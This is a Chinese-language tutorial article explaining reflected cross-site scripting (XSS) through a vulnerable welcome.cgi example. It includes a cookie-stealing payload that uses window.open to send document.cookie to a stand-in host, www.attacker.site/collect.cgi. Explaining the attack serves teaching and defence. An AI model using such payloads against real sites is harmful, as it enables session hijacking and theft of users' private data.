技术开发 频道

跨站点脚本攻击深入解析

【IT168 技术文章】

  在跨站脚本攻击中会发生什么

  跨站脚本攻击(cross-sitescripting,简称XSS),是黑客用来潜入Web应用程序的最普遍的应用程序层攻击之一。XSS是针对特殊Web站点的客户隐私的攻击,当客户详细信息失窃或受控时可能引发彻底的安全威胁。大部分网站攻击只涉及两个群体:黑客和Web站点,或者黑客和客户端受害者。与那些攻击不同的是,XSS攻击同时涉及三个群体:黑客、客户端和Web站点。

  XSS攻击的目的是盗走客户端cookies,或者任何可以用于在Web站点确定客户身份的其他敏感信息。手边有了合法用户的标记,黑客可以继续扮演用户与站点交互,从而冒充用户。举例来说,在对一个大型公司的调查中表明,利用XSS攻击窥视用户的信用卡号码和私有信息是可能的。这是通过利用Web站点的访问特权,在受害者(客户端)浏览器上运行恶意的JavaScript代码来实现的。这些是非常有限的JavaScript特权,除了与站点相关的信息,一般不允许脚本访问其他任何内容。重点强调的是,虽然Web站点上存在安全漏洞,但是Web站点从未受到直接伤害。但是这已经足够让脚本收集cookies,并且将它们发送给黑客。因此,黑客获得cookies并冒充受害者。

  XSS技术的深入解析

  让我们调用受攻击的站点:www.vulnerable.site。传统的XSS攻击的核心处位于脆弱的站点中的脆弱的脚本。这些脚本读取部分HTTP请求(通常是参数,但有时也有HTTP头域或路径),并且在首次不加密的情况下全部或部分地将其回送给响应页面(因而,不确保它不包含JavaScript代码或HTML标签)。因此,假设该脚本名为welcome.cgi,其参数为name。可以通过以下方式进行操作:

GET /welcome.cgi?name=Joe%20HckerHTTP/1.0
Host:www.vulnerable.site
  
  响应是:

<HTML>
<Title>Welcome!</Title>
Hi Joe Hacker <BR>
Welcome to our system
... 
</HTML>


  这是怎样被盗用的呢?黑客设法引诱受害客户点击他们提供给用户的链接。这是一个精心设计且蓄含恶意的链接,诱使受害者的Web浏览器访问站点(www.vulnerable.site),并调用入侵脚本。该脚本的数据里包含了用于非法访问客户端浏览器为www.vulnerable.site站点所存储cookies的JavaScript。这是允许的,因为客户端浏览器“运行过”来自www.vulnerable.site的JavaScript,并且JavaScript安全模型允许来自特殊站点的脚本访问属于该站点的cookies。

  这样的链接如下:

http://www.vulnerable.site/welcome.cgi?name=<script>alert(document.cookie)</script>
 


  受害者点击链接之后将生成对www.vulnerable.site的请求,如下所示:

  GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
  Host: www.vulnerable.site ...
 


  脆弱的站点的响应是:

  <HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script>
  <BR> Welcome to our system ...
  </HTML>
 
 

  受害者客户端的浏览器将把该响应解释为包含一段JavaScript代码的HTML页面。当执行时,该代码被允许访问所有属于www.vulnerable.site的cookies。因此,它将在客户端浏览器中弹出一个窗口,显示属于www.vulnerable.site的所有客户端cookies。

  当然,真正的恶意攻击包含了将这些cookies发送给黑客的操作。对此,黑客可能建立Web站点(www.attacker.site)并使用脚本来接收cookies。替代弹出窗口,黑客会书写访问www.attacker.site的URL的代码,从而调用接收cookie的脚本,其参数设置为被窃取的cookies。这样,黑客可以从www.attacker.site服务器上获得cookies。

  恶意的链接会是:

http://www.vulnerable.site/welcome.cgi?name=<script>window.open
("http://www.attacker.site/collect
  .cgi?cookie="%2Bdocument.cookie)</script>
 


  响应页面看起来像这样:

  <HTML> <Title>Welcome!</Title> Hi
  <script>window.open("http://www.attacker.site/collect.cgi?cookie=
"+document.cookie)</script>
  <BR>
  Welcome to our system ... </HTML>
 


  加载该页面的浏览器会立即执行内嵌的JavaScript,并向www.attacker.site中的collect.cgi脚本发送请求,并附带着浏览器已经拥有的www.vulnerable.site的cookies的值。这样就泄漏了客户端所拥有的www.vulnerable.site的cookies。这将允许黑客冒充受害者。客户的隐私就完全被破坏了。

  注意:

  引发JavaScript弹出窗口的出现通常足够说明该站点容易受到XSS攻击。如果可以调用JavaScriptlert方法,那么通常没理由window.open调用不成功。这就是为什么大部分XSS攻击的实例使用alert方法,因为这很容易检测其成功。   

0
相关文章